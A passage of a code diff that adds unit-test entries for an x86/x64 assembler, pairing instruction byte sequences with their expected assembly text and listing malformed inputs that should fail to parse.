X64_PASS(0x0000000000000000, "\x0F\x6F\xC1" , "movq mm0, mm1"), + X64_PASS(0x0000000000000000, "\x0F\x6E\x00" , "movd mm0, [rax]"), + X64_PASS(0x0000000000000000, "\x0F\x6F\x04\x18" , "movq mm0, [rax + rbx]"), + X64_PASS(0x0000000000000000, "\x0F\x7E\x38" , "movd [rax], mm7"), + X64_PASS(0x0000000000000000, "\x0F\x7F\x04\x18" , "movq [rax + rbx], mm0"), + X64_PASS(0x0000000000000000, "\x0F\xDB\xC1" , "pand mm0, mm1"), + X64_PASS(0x0000000000000000, "\xF3\x0F\x7E\xC1" , "movq xmm0, xmm1"), + X64_PASS(0x0000000000000000, "\x66\x0F\x6E\x04\x18" , "movd xmm0, [rax + rbx]"), + X64_PASS(0x0000000000000000, "\xF3\x0F\x7E\x04\x18" , "movq xmm0, [rax + rbx]"), + X64_PASS(0x0000000000000000, "\x66\x0F\x7E\x0C\x18" , "movd [rax + rbx], xmm1"), + X64_PASS(0x0000000000000000, "\x66\x0F\xD6\x0C\x18" , "movq [rax + rbx], xmm1"), + X64_PASS(0x0000000000000000, "\x66\x0F\xDB\xC1" , "pand xmm0, xmm1"), + X64_PASS(0x0000000000000000, "\x66\x0F\xFD\xC1" , "paddw xmm0, xmm1"), + X64_PASS(0x0000000000000000, "\x0F\x28\x04\x98" , "movaps xmm0, [rax + rbx * 4]"), + X64_PASS(0x0000000000000000, "\x66\x0F\x28\x04\x98" , "movapd xmm0, [rax + rbx * 4]"), + X64_PASS(0x0000000000000000, "\x66\x0F\x6F\x04\x98" , "movdqa xmm0, [rax + rbx * 4]"), + X64_PASS(0x0000000000000000, "\x0F\x29\x0C\x98" , "movaps [rax + rbx * 4], xmm1"), + X64_PASS(0x0000000000000000, "\x66\x0F\x29\x0C\x98" , "movapd [rax + rbx * 4], xmm1"), + X64_PASS(0x0000000000000000, "\x66\x0F\x7F\x0C\x98" , "movdqa [rax + rbx * 4], xmm1"), + X64_PASS(0x0000000000000000, "\x66\x45\x0F\x3A\x41\xD3\x00" , "dppd xmm10, xmm11, 0"), + + // 32-bit AVX+ and AVX512+ instructions. + X86_PASS(0x0000000000000000, "\xC5\xF9\x6E\x5A\x10" , "vmovd xmm3, dword ptr [edx+0x10]"), + X86_PASS(0x0000000000000000, "\xC5\xFA\x7E\x5A\x10" , "vmovq xmm3, qword ptr [edx+0x10]"), + X86_PASS(0x0000000000000000, "\xC5\xF9\x7E\x5A\x10" , "vmovd dword ptr [edx+0x10], xmm3"), + X86_PASS(0x0000000000000000, "\xC5\xF9\xD6\x5A\x10" , "vmovq qword ptr [edx+0x10], xmm3"), + X86_PASS(0x0000000000000000, "\xC5\xF9\x6E\xEB" , "vmovd xmm5, ebx"), + X86_PASS(0x0000000000000000, "\xC5\xF9\x7E\xEB" , "vmovd ebx, xmm5"), + X86_PASS(0x0000000000000000, "\xC5\xFA\x7E\xC1" , "vmovq xmm0, xmm1"), + X86_PASS(0x0000000000000000, "\xC5\xF5\xFD\xC7" , "vpaddw ymm0, ymm1, ymm7"), + X86_PASS(0x0000000000000000, "\xC4\xE3\x71\x41\xC2\x00" , "vdppd xmm0, xmm1, xmm2, 0"), + X86_PASS(0x0000000000000000, "\x62\xF1\xF5\xD9\x58\x00" , "vaddpd zmm0 {k1}{z}, zmm1, [eax] {1tox}"), + X86_PASS(0x0000000000000000, "\xC5\xFB\xE6\x3B" , "vcvtpd2dq xmm7, xmmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\xC5\xFF\xE6\x3B" , "vcvtpd2dq xmm7, ymmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\xC5\xF9\x5A\x3B" , "vcvtpd2ps xmm7, xmmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\xC5\xFD\x5A\x3B" , "vcvtpd2ps xmm7, ymmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\x62\xF1\xFC\x08\x79\x3B" , "vcvtpd2udq xmm7, xmmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\x62\xF1\xFC\x28\x79\x3B" , "vcvtpd2udq xmm7, ymmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\x62\xF1\xFC\x08\x5B\x3B" , "vcvtqq2ps xmm7, xmmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\x62\xF1\xFC\x28\x5B\x3B" , "vcvtqq2ps xmm7, ymmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\xC5\xF9\xE6\x3B" , "vcvttpd2dq xmm7, xmmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\xC5\xFD\xE6\x3B" , "vcvttpd2dq xmm7, ymmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\x62\xF1\xFC\x08\x78\x3B" , "vcvttpd2udq xmm7, xmmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\x62\xF1\xFC\x28\x78\x3B" , "vcvttpd2udq xmm7, ymmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\x62\xF1\xFF\x08\x7A\x3B" , "vcvtuqq2ps xmm7, xmmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\x62\xF1\xFF\x28\x7A\x3B" , "vcvtuqq2ps xmm7, ymmword ptr [ebx]"), + X86_PASS(0x0000000000000000, "\x62\xF3\xFD\x08\x66\x3F\x01" , "vfpclasspd k7, xmmword ptr [edi], 0x01"), + X86_PASS(0x0000000000000000, "\x62\xF3\xFD\x28\x66\x3F\x01" , "vfpclasspd k7, ymmword ptr [edi], 0x01"), + X86_PASS(0x0000000000000000, "\x62\xF3\xFD\x48\x66\x3F\x01" , "vfpclasspd k7, zmmword ptr [edi], 0x01"), + X86_PASS(0x0000000000000000, "\x62\xF3\x7D\x08\x66\x3F\x01" , "vfpclassps k7, xmmword ptr [edi], 0x01"), + X86_PASS(0x0000000000000000, "\x62\xF3\x7D\x28\x66\x3F\x01" , "vfpclassps k7, ymmword ptr [edi], 0x01"), + X86_PASS(0x0000000000000000, "\x62\xF3\x7D\x48\x66\x3F\x01" , "vfpclassps k7, zmmword ptr [edi], 0x01"), + X86_PASS(0x0000000000000000, "\xC4\xE2\xF9\x90\x04\x05\x00\x00\x00\x00" , "vpgatherdq xmm0, [xmm0], xmm0"), + X86_PASS(0x0000000000000000, "\xC4\xE2\xFD\x91\x04\x05\x00\x00\x00\x00" , "vpgatherqq ymm0, [ymm0], ymm0"), + X86_PASS(0x0000000000000000, "\xC4\xE2\xE9\x92\x0C\x00" , "vgatherdpd xmm1, [eax + xmm0], xmm2"), + + X86_PASS(0x0000000000000000, "\xC5\xF0\x58\xC2" , "vaddps xmm0, xmm1, xmm2"), + X86_PASS(0x0000000000000000, "\xC5\xF0\x58\xC2" , "vaddps xmm0 {k0}, xmm1, xmm2"), + X86_PASS(0x0000000000000000, "\x62\xF1\x74\x88\x58\xC2" , "vaddps xmm0 {z}, xmm1, xmm2"), + X86_PASS(0x0000000000000000, "\x62\xF1\x74\x88\x58\xC2" , "vaddps xmm0 {k0}{z}, xmm1, xmm2"), + + // 64-bit AVX+ and AVX512+ instructions. + X64_PASS(0x0000000000000000, "\xC5\xF9\x6E\x5A\x10" , "vmovd xmm3, dword ptr [rdx+0x10]"), + X64_PASS(0x0000000000000000, "\xC5\xFA\x7E\x5A\x10" , "vmovq xmm3, qword ptr [rdx+0x10]"), + X64_PASS(0x0000000000000000, "\xC5\xF9\x7E\x5A\x10" , "vmovd dword ptr [rdx+0x10], xmm3"), + X64_PASS(0x0000000000000000, "\xC5\xF9\xD6\x5A\x10" , "vmovq qword ptr [rdx+0x10], xmm3"), + X64_PASS(0x0000000000000000, "\xC5\xF9\x6E\xEB" , "vmovd xmm5, ebx"), + X64_PASS(0x0000000000000000, "\xC4\xE1\xF9\x6E\xEB" , "vmovq xmm5, rbx"), + X64_PASS(0x0000000000000000, "\xC5\xF9\x7E\xEB" , "vmovd ebx, xmm5"), + X64_PASS(0x0000000000000000, "\xC4\xE1\xF9\x7E\xEB" , "vmovq rbx, xmm5"), + X64_PASS(0x0000000000000000, "\xC5\xFA\x7E\xC1" , "vmovq xmm0, xmm1"), + X64_PASS(0x0000000000000000, "\xC4\x41\x35\xFD\xC7" , "vpaddw ymm8, ymm9, ymm15"), + X64_PASS(0x0000000000000000, "\xC4\x43\x21\x41\xD4\x00" , "vdppd xmm10, xmm11, xmm12, 0"), + X64_PASS(0x0000000000000000, "\x62\x71\xB5\xD9\x58\x08" , "vaddpd zmm9 {k1}{z}, zmm9, [rax] {1tox}"), + X64_PASS(0x0000000000000000, "\xC5\x7B\xE6\x3B" , "vcvtpd2dq xmm15, xmmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\xC5\x7F\xE6\x3B" , "vcvtpd2dq xmm15, ymmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\xC5\x79\x5A\x3B" , "vcvtpd2ps xmm15, xmmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\xC5\x7D\x5A\x3B" , "vcvtpd2ps xmm15, ymmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\x62\x71\xFC\x08\x79\x3B" , "vcvtpd2udq xmm15, xmmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\x62\x71\xFC\x28\x79\x3B" , "vcvtpd2udq xmm15, ymmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\x62\x71\xFC\x08\x5B\x3B" , "vcvtqq2ps xmm15, xmmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\x62\x71\xFC\x28\x5B\x3B" , "vcvtqq2ps xmm15, ymmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\xC5\x79\xE6\x3B" , "vcvttpd2dq xmm15, xmmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\xC5\x7D\xE6\x3B" , "vcvttpd2dq xmm15, ymmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\x62\x71\xFC\x08\x78\x3B" , "vcvttpd2udq xmm15, xmmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\x62\x71\xFC\x28\x78\x3B" , "vcvttpd2udq xmm15, ymmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\x62\x71\xFF\x08\x7A\x3B" , "vcvtuqq2ps xmm15, xmmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\x62\x71\xFF\x28\x7A\x3B" , "vcvtuqq2ps xmm15, ymmword ptr [rbx]"), + X64_PASS(0x0000000000000000, "\x62\xF3\xFD\x08\x66\x3F\x01" , "vfpclasspd k7, xmmword ptr [rdi], 0x01"), + X64_PASS(0x0000000000000000, "\x62\xF3\xFD\x28\x66\x37\x01" , "vfpclasspd k6, ymmword ptr [rdi], 0x01"), + X64_PASS(0x0000000000000000, "\x62\xF3\xFD\x48\x66\x2F\x01" , "vfpclasspd k5, zmmword ptr [rdi], 0x01"), + X64_PASS(0x0000000000000000, "\x62\xF3\x7D\x08\x66\x27\x01" , "vfpclassps k4, xmmword ptr [rdi], 0x01"), + X64_PASS(0x0000000000000000, "\x62\xF3\x7D\x28\x66\x1F\x01" , "vfpclassps k3, ymmword ptr [rdi], 0x01"), + X64_PASS(0x0000000000000000, "\x62\xF3\x7D\x48\x66\x17\x01" , "vfpclassps k2, zmmword ptr [rdi], 0x01"), + X64_PASS(0x0000000000000000, "\xC4\xE2\xF9\x90\x04\x05\x00\x00\x00\x00" , "vpgatherdq xmm0, [xmm0], xmm0"), + X64_PASS(0x0000000000000000, "\xC4\xE2\xFD\x91\x04\x05\x00\x00\x00\x00" , "vpgatherqq ymm0, [ymm0], ymm0"), + X64_PASS(0x0000000000000000, "\xC4\xE2\xE9\x92\x0C\x00" , "vgatherdpd xmm1, [rax + xmm0], xmm2"), + X64_PASS(0x0000000000000000, "\xC4\xE2\x69\x90\x44\x0D\x00" , "vpgatherdd xmm0, [rbp + xmm1], xmm2"), + X64_PASS(0x0000000000000000, "\xC4\xC2\x69\x90\x04\x0C" , "vpgatherdd xmm0, [r12 + xmm1], xmm2"), + X64_PASS(0x0000000000000000, "\xC4\xC2\x69\x90\x44\x0D\x00" , "vpgatherdd xmm0, [r13 + xmm1], xmm2"), + X64_PASS(0x0000000000000000, "\xC5\xF0\x58\xC2" , "vaddps xmm0, xmm1, xmm2"), + X64_PASS(0x0000000000000000, "\xC5\xF0\x58\xC2" , "vaddps xmm0 {k0}, xmm1, xmm2"), + X64_PASS(0x0000000000000000, "\x62\xF1\x74\x88\x58\xC2" , "vaddps xmm0 {z}, xmm1, xmm2"), + X64_PASS(0x0000000000000000, "\x62\xF1\x74\x88\x58\xC2" , "vaddps xmm0 {k0}{z}, xmm1, xmm2"), + + // 32-bit jmp/call. + X86_PASS(0x0000000077513BEE, "\xEB\xFE" , "JMP SHORT 0x77513BEE"), + X86_PASS(0x0000000077513BEE, "\xEB\x07" , "JMP SHORT 0x77513BF7"), + X86_PASS(0x0000000077513BEE, "\xEB\xCF" , "JMP SHORT 0x77513BBF"), + X86_PASS(0x0000000000405C5B, "\xE9\xCA\x70\x00\x00" , "JMP 0x0040CD2A"), + X86_PASS(0x0000000000405C5B, "\xE9\x40\xFE\xFF\xFF" , "JMP 0x00405AA0"), + X86_PASS(0x0000000000405C5B, "\xFF\x25\x00\x01\x00\x00" , "JMP DWORD PTR DS:[0x100]"), + X86_PASS(0x0000000000405C5B, "\xE8\xCA\x70\x00\x00" , "CALL 0x0040CD2A"), + X86_PASS(0x0000000000405EF0, "\xE8\x06\xFF\xFF\xFF" , "CALL 0x00405DFB"), + X86_PASS(0x0000000000405CCC, "\xFF\x15\x10\x00\x00\x00" , "CALL DWORD PTR DS:[0x10]"), + + // 64-bit jmp/call. + X64_PASS(0x00007FFCAA022104, "\xEB\xFE" , "JMP SHORT 0x7FFCAA022104"), + X64_PASS(0x00007FFCAA022104, "\xEB\x22" , "JMP SHORT 0x7FFCAA022128"), + X64_PASS(0x00007FFCAA022104, "\xEB\xF9" , "JMP SHORT 0x7FFCAA0220FF"), + X64_PASS(0x00007FFCA9FF197C, "\xE9\x35\x64\x93\x53" , "JMP 0x7FFCFD927DB6"), + X64_PASS(0x00007FFCAA022104, "\xE9\x7C\xF4\xFC\xFF" , "JMP 0x7FFCA9FF1585"), + X64_PASS(0x0000000123456789, "\xFF\x25\xFA\xFF\xFF\xFF" , "JMP QWORD[0x123456789]"), + X64_PASS(0x00007FFCA9FF1977, "\xFF\x25\xFA\x00\xFF\xFF" , "JMP QWORD PTR DS:[0x7FFCA9FE1A77]"), + + // 32-bit miscellaneous instructions. + X86_PASS(0x0000000000405C6A, "\xFF\x35\xF4\x0A\x47\x00" , "PUSH DWORD PTR DS:[0x00000000470AF4]"), + X86_PASS(0x0000000000405C92, "\x8B\x45\x08" , "MOV EAX,DWORD PTR SS:[EBP+8]"), + X86_PASS(0x0000000000405CB8, "\xC7\x45\xF4\x00\x40\x99\x01" , "MOV DWORD PTR SS:[EBP-0x00000000C],0x000000001994000"), + X86_PASS(0x0000000000405D4C, "\x8A\x14\x08" , "MOV DL,BYTE PTR DS:[EAX+ECX]"), + X86_PASS(0x0000000000405D4C, "\x0F\xB7\x4C\x45\x98" , "MOVZX ECX,WORD PTR SS:[EAX*2+EBP-0x0000000068]"), + X86_PASS(0x0000000000405D4C, "\xC6\x84\x30\x1D\x01\x00\x00\x00" , "MOV BYTE PTR DS:[EAX+ESI+0x0000000011D],0"), + X86_PASS(0x0000000000000000, "\x6A\x0D" , "PUSH 0x00000000D"), + X86_PASS(0x0000000000000000, "\x68\xFF\x00\x00\x00" , "PUSH 0x00000000FF"), + X86_PASS(0x0000000000405FF9, "\x83\x60\x70\xFD" , "AND DWORD PTR DS:[EAX+0x0000000070],0x00000000FFFFFFFD"), + X86_PASS(0x0000000000405FF9, "\x81\x60\x70\x0D\x00\x00\xF0" , "AND DWORD PTR DS:[EAX+0x0000000070],0x00000000F000000D"), + X86_PASS(0x0000000000405C23, "\xf2\x0f\x11\x0d\x00\x00\x00\x00" , "MOVSD QWORD PTR ds:[0x000000000],xmm1"), + X86_PASS(0x0000000000000000, "\x8B\x04\xCD\x00\x00\x00\x00" , "MOV EAX,[ECX*8]"), + X86_PASS(0x0000000000000000, "\x60" , "PUSHAD"), + X86_PASS(0x0000000000000000, "\xCC" , "INT3"), + X86_PASS(0x0000000000000000, "\xCD\x03" , "INT 3"), + X86_PASS(0x0000000000405C23, "\xE7\xE9" , "OUT 0x00000000E9, EAX"), + X86_PASS(0x0000000000405C23, "\x69\xC0\xFF\x01\x00\x00" , "IMUL EAX, EAX, 0x000000001FF"), + X86_PASS(0x0000000000405C23, "\x69\xC0\xFF\x00\x00\x00" , "IMUL EAX, EAX, 0x00000000FF"), + X86_PASS(0x0000000000405C23, "\x69\xC0\xFE\x00\x00\x00" , "IMUL EAX, EAX, 0x00000000FE"), + X86_PASS(0x0000000000405C23, "\x6B\xC0\x1E" , "IMUL EAX, EAX, 0x000000001E"), + X86_PASS(0x0000000000405C23, "\xB8\x78\x56\x34\x12" , "MOV EAX, 0x0000000012345678"), + X86_PASS(0x0000000000405C23, "\xB8\xFE\xFF\xFF\xFF" , "MOV EAX, 0x00000000FFFFFFFE"), + X86_PASS(0x0000000000000000, "\xDF\x3C\x24" , "FISTP QWORD PTR [ESP]"), + X86_PASS(0x0000000000000000, "\xD9\xF6" , "FDECSTP"), + X86_PASS(0x0000000000000000, "\xD9\xFF" , "FCOS"), + X86_PASS(0x0000000000405C23, "\xC7\x85\xE8\xFD\xFF\xFF\x00\x00\x08\x02" , "MOV DWORD PTR [EBP-0x00000000218],0x000000002080000"), + X86_PASS(0x0000000000405C23, "\xC7\x84\x24\xE8\xFD\xFF\xFF\x00\x00\x08\x02" , "MOV DWORD PTR [ESP-0x00000000218],0x000000002080000"), + X86_PASS(0x0000000000000000, "\xC7\x05\xBA\x55\x0F\x00\xFF\x00\x00\x00" , "MOV DWORD PTR [0x00000000F55BA], 0x00000000FF"), + X86_PASS(0x0000000000000000, "\x66\xC7\x05\xBA\x55\x0F\x00\xFF\x00" , "MOV WORD PTR [0x00000000F55BA], 0x00000000FF"), + X86_PASS(0x0000000000000000, "\xC6\x05\xBA\x55\x0F\x00\xFF" , "MOV BYTE PTR [0x00000000F55BA], 0x00000000FF"), + X86_PASS(0x0000000000000000, "\x81\x38\x80\x07\x00\x00" , "CMP DWORD PTR [EAX], 0x00000000780"), + + // TODO: These two commented fail because AsmJit optimizes the encoded asm, + // they were commented out to keep CI happy as we know about this. + + // 64-bit miscellaneous instructions. + X64_PASS(0x0000000000000000, "\x48\xB8\x90\x78\x56\x34\x12\x00\x00\x00" , "MOV RAX, 0x1234567890"), +//X64_PASS(0x0000000000000000, "\x48\xC7\xC0\x00\x00\x00\x00" , "MOV RAX, 0"), + X64_PASS(0x0000000000000000, "\x48\xB8\x00\x00\x00\x00\x01\x00\x00\x00" , "MOV RAX, 0x0000100000000"), +//X64_PASS(0x0000000000000000, "\x48\xC7\xC0\x8F\xFA\xFF\x00" , "MOV RAX, 0x0000FFFA8F"), + X64_PASS(0x0000000000000000, "\x48\xB8\x90\x78\x56\x34\x12\x00\x00\x00" , "MOVABS RAX, 0x00001234567890"), + X64_PASS(0x0000000000000000, "\x48\xB8\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF" , "MOVABS RAX, 0x0000FFFFFFFFFFFFFFFE"), + X64_PASS(0x0000000000000000, "\x49\xB8\xF8\xFF\xFF\xFF\x01\x00\x00\x00" , "movabs r8,0x1fffffff8"), + X64_PASS(0x00007FFCA9FF1977, "\x48\xA1\x90\x78\x56\x34\x12\x00\x00\x00" , "MOV RAX, QWORD PTR DS:[0x00001234567890]"), + X64_PASS(0x0000000000000000, "\xCC" , "INT3"), + X64_PASS(0x0000000000000000, "\xCD\x03" , "INT 3"), + X64_PASS(0x0000000000000000, "\x48\x63\xD0" , "MOVSXD RDX, EAX"), + X64_PASS(0x00007FFCA9FF1977, "\x45\x0F\xBE\x24\x2F" , "MOVSX R12D, BYTE PTR [R15+RBP*1]"), + X64_PASS(0x0000000000000000, "\x4D\x69\xED\x10\x01\x00\x00" , "IMUL R13, R13, 0x0000110"), + X64_PASS(0x0000000000000000, "\x4D\x6B\xED\x11" , "IMUL R13, R13, 0x000011"), + X64_PASS(0x00007FFCA9FF1977, "\x48\xC7\x05\xAF\x55\x0F\x00\xFF\x00\x00\x00" , "MOV QWORD PTR [RIP+0x0000F55AF], 0x0000FF"), + X64_PASS(0x0000000000000000, "\x48\xC7\x05\xAF\x55\x0F\x00\xFF\x00\x00\x00" , "MOV QWORD PTR [0x0000F55BA], 0x0000FF"), + X64_PASS(0x00007FFCA9FF1977, "\x48\xC7\x05\xAF\x55\x0F\x00\xFE\xFF\xFF\xFF" , "MOV QWORD PTR [RIP+0x0000F55AF], 0x0000FFFFFFFFFFFFFFFE"), + X64_PASS(0x0000000000000000, "\x0F\xC7\x08" , "CMPXCHG8B [RAX]"), + X64_PASS(0x0000000000000000, "\x48\x0F\xC7\x08" , "CMPXCHG16B [RAX]"), + X64_PASS(0x00007FF6845CB974, "\x48\x8D\x15\xA5\x16\x25\x00" , "LEA RDX, QWORD PTR DS:[0x00007FF68481D020]"), + X64_PASS(0x00007FF6845CB974, "\x48\x8D\x15\xA5\x16\x25\x00" , "LEA RDX, QWORD PTR DS:[RIP+0x00002516A5]"), + X64_PASS(0x0000000000000000, "\x48\x8D\x10" , "LEA RDX, [RAX]"), + X64_PASS(0x00007FF6845CB982, "\x48\x83\x05\x63\x0F\x25\x00\x01" , "ADD QWORD PTR [0x00007FF68481C8ED], 0x00001"), + X64_PASS(0x00007FF6845CB982, "\x48\x83\x05\x63\x0F\x25\x00\x01" , "ADD QWORD PTR [RIP+0x0000250F63], 0x00001"), + X64_PASS(0x0000000000000000, "\x48\x83\x05\xFF\xFF\xFF\xFF\x01" , "ADD QWORD PTR [RIP+0x0000FFFFFFFF], 0x00001"), + X64_PASS(0x00007FFB65E2199E, "\x48\x83\x05\xFF\xFF\xFF\xFF\x48" , "ADD QWORD PTR [0x00007FFB65E219A5], 0x000048"), + X64_PASS(0x000007FEF18BC878, "\xC7\x05\x5E\x3B\xD8\xFF\x00\x00\x00\x00" , "MOV DWORD PTR DS:[0x00007FEF16403E0],0"), + X64_PASS(0x0000000000000000, "\x66\xC7\x05\x4B\xFF\x0F\x00\x00\x00" , "MOV WORD PTR DS:[0x0000FFF54],0"), + X64_PASS(0x0000000000000000, "\xC6\x05\x4D\xFF\x0F\x00\x00" , "MOV BYTE PTR DS:[0x0000FFF54],0"), + + // 32-bit instruction aliases. + X86_PASS(0x000000000040652A, "\xC0\x64\x18\x50\xFF" , "SAL BYTE PTR DS:[EAX+EBX+0x0000000050],0x00000000FF"), + + // 32-bit string instructions. + X86_PASS(0x0000000000000000, "\xF3\x67\x6C" , "rep insb byte ptr es:[di], dx"), + X86_PASS(0x0000000000000000, "\xF3\x67\x6D" , "rep insd dword ptr es:[di], dx"), + X86_PASS(0x0000000000000000, "\xF3\x67\x6E" , "rep outsb dx, byte ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x67\x6F" , "rep outsd dx, dword ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xA4" , "rep movsb byte ptr es:[di], byte ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xA5" , "rep movsd dword ptr es:[di], dword ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xA6" , "repe cmpsb byte ptr [si], byte ptr es:[di]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xA7" , "repe cmpsd dword ptr [si], dword ptr es:[di]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xAA" , "rep stosb byte ptr es:[di], al"), + X86_PASS(0x0000000000000000, "\xF3\x67\xAB" , "rep stosd dword ptr es:[di], eax"), + X86_PASS(0x0000000000000000, "\xF3\x67\xAC" , "rep lodsb al , byte ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xAD" , "rep lodsd eax, dword ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xAE" , "repe scasb al , byte ptr es:[di]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xAF" , "repe scasd eax, dword ptr es:[di]"), + X86_PASS(0x0000000000000000, "\xF2\x6C" , "repne insb byte ptr es:[edi], dx"), + X86_PASS(0x0000000000000000, "\xF2\x66\x6D" , "repne insw word ptr es:[edi], dx"), + X86_PASS(0x0000000000000000, "\xF2\x6E" , "repne outsb dx, byte ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF2\x66\x6F" , "repne outsw dx, word ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF2\xA4" , "repne movsb byte ptr es:[edi], byte ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF2\x66\xA5" , "repne movsw word ptr es:[edi], word ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF2\xA6" , "repne cmpsb byte ptr [esi], byte ptr es:[edi]"), + X86_PASS(0x0000000000000000, "\xF2\x66\xA7" , "repne cmpsw word ptr [esi], word ptr es:[edi]"), + X86_PASS(0x0000000000000000, "\xF2\xAA" , "repne stosb byte ptr es:[edi], al"), + X86_PASS(0x0000000000000000, "\xF2\x66\xAB" , "repne stosw word ptr es:[edi], ax"), + X86_PASS(0x0000000000000000, "\xF2\xAC" , "repne lodsb al, byte ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF2\x66\xAD" , "repne lodsw ax, word ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF2\xAE" , "repne scasb al, byte ptr es:[edi]"), + X86_PASS(0x0000000000000000, "\xF2\x66\xAF" , "repne scasw ax, word ptr es:[edi]"), + X86_PASS(0x0000000000000000, "\xF3\x67\x6C" , "rep insb byte ptr es:[di], dx"), + X86_PASS(0x0000000000000000, "\xF3\x66\x67\x6D" , "rep insw word ptr es:[di], dx"), + X86_PASS(0x0000000000000000, "\xF3\x67\x6E" , "rep outsb dx, byte ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x66\x67\x6F" , "rep outsw dx, word ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xA4" , "rep movsb byte ptr es:[di], byte ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x66\x67\xA5" , "rep movsw word ptr es:[di], word ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xA6" , "repe cmpsb byte ptr [si], byte ptr es:[di]"), + X86_PASS(0x0000000000000000, "\xF3\x66\x67\xA7" , "repe cmpsw word ptr [si], word ptr es:[di]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xAA" , "rep stosb byte ptr es:[di], al"), + X86_PASS(0x0000000000000000, "\xF3\x66\x67\xAB" , "rep stosw word ptr es:[di], ax"), + X86_PASS(0x0000000000000000, "\xF3\x67\xAC" , "rep lodsb al, byte ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x66\x67\xAD" , "rep lodsw ax, word ptr [si]"), + X86_PASS(0x0000000000000000, "\xF3\x67\xAE" , "repe scasb al, byte ptr es:[di]"), + X86_PASS(0x0000000000000000, "\xF3\x66\x67\xAF" , "repe scasw ax, word ptr es:[di]"), + X86_PASS(0x0000000000000000, "\xF3\x6C" , "rep insb byte ptr es:[edi], dx"), + X86_PASS(0x0000000000000000, "\xF3\x6D" , "rep insd dword ptr es:[edi], dx"), + X86_PASS(0x0000000000000000, "\xF3\x6E" , "rep outsb dx, byte ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF3\x6F" , "rep outsd dx, dword ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF3\xA4" , "rep movsb byte ptr es:[edi], byte ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF3\xA5" , "rep movsd dword ptr es:[edi], dword ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF3\xA6" , "repe cmpsb byte ptr [esi], byte ptr es:[edi]"), + X86_PASS(0x0000000000000000, "\xF3\xA7" , "repe cmpsd dword ptr [esi], dword ptr es:[edi]"), + X86_PASS(0x0000000000000000, "\xF3\xAA" , "rep stosb byte ptr es:[edi], al"), + X86_PASS(0x0000000000000000, "\xF3\xAB" , "rep stosd dword ptr es:[edi], eax"), + X86_PASS(0x0000000000000000, "\xF3\xAC" , "rep lodsb al , byte ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF3\xAD" , "rep lodsd eax, dword ptr [esi]"), + X86_PASS(0x0000000000000000, "\xF3\xAE" , "repe scasb al , byte ptr es:[edi]"), + X86_PASS(0x0000000000000000, "\xF3\xAF" , "repe scasd eax, dword ptr es:[edi]"), + + // 32-bit malformed input - should cause either parsing or validation error. + X86_FAIL(0x0000000000001000, "short jmp 0x2000"), + X86_FAIL(0x0000000000000000, "mov al,-129"), + X86_FAIL(0x0000000000000000, "mov al, 256"), + X86_FAIL(0x0000000000000000, "mov ax,-32769"), + X86_FAIL(0x0000000000000000, "mov ax, 65536"), + X86_FAIL(0x0000000000000000, "mov eax,-2147483649"), + X86_FAIL(0x0000000000000000, "mov eax, 4294967296"), + X86_FAIL(0x0000000000000000, "mov rax, 0x0"), + X86_FAIL(0x0000000000000000, "mov r15d, 0x0"), + X86_FAIL(0x0000000000000000, "mov r15w, 0x0"), + X86_FAIL(0x0000000000000000, "mov r15b, 0x0"), + X86_FAIL(0x0000000000000000, "mov [eax], 1"), + X86_FAIL(0x0000000000000000, "movzx eax, bpl"), + X86_FAIL(0x0000000000000000, "shr eax, 256"), + X64_FAIL(0x0000000000000000, "lfs al, [ecx]"), + X86_FAIL(0x0000000000000000, "MOV EAX, DWORD PTR ]["), + X86_FAIL(0x0000000000000000, "MOV EAX, DWORD PTR [RAX]"), + X86_FAIL(0x0000000000000000, "MOV EAX, DWORD PTR [0xFFFFFFFFF]"), + X86_FAIL(0x0000000000000000, "lock add 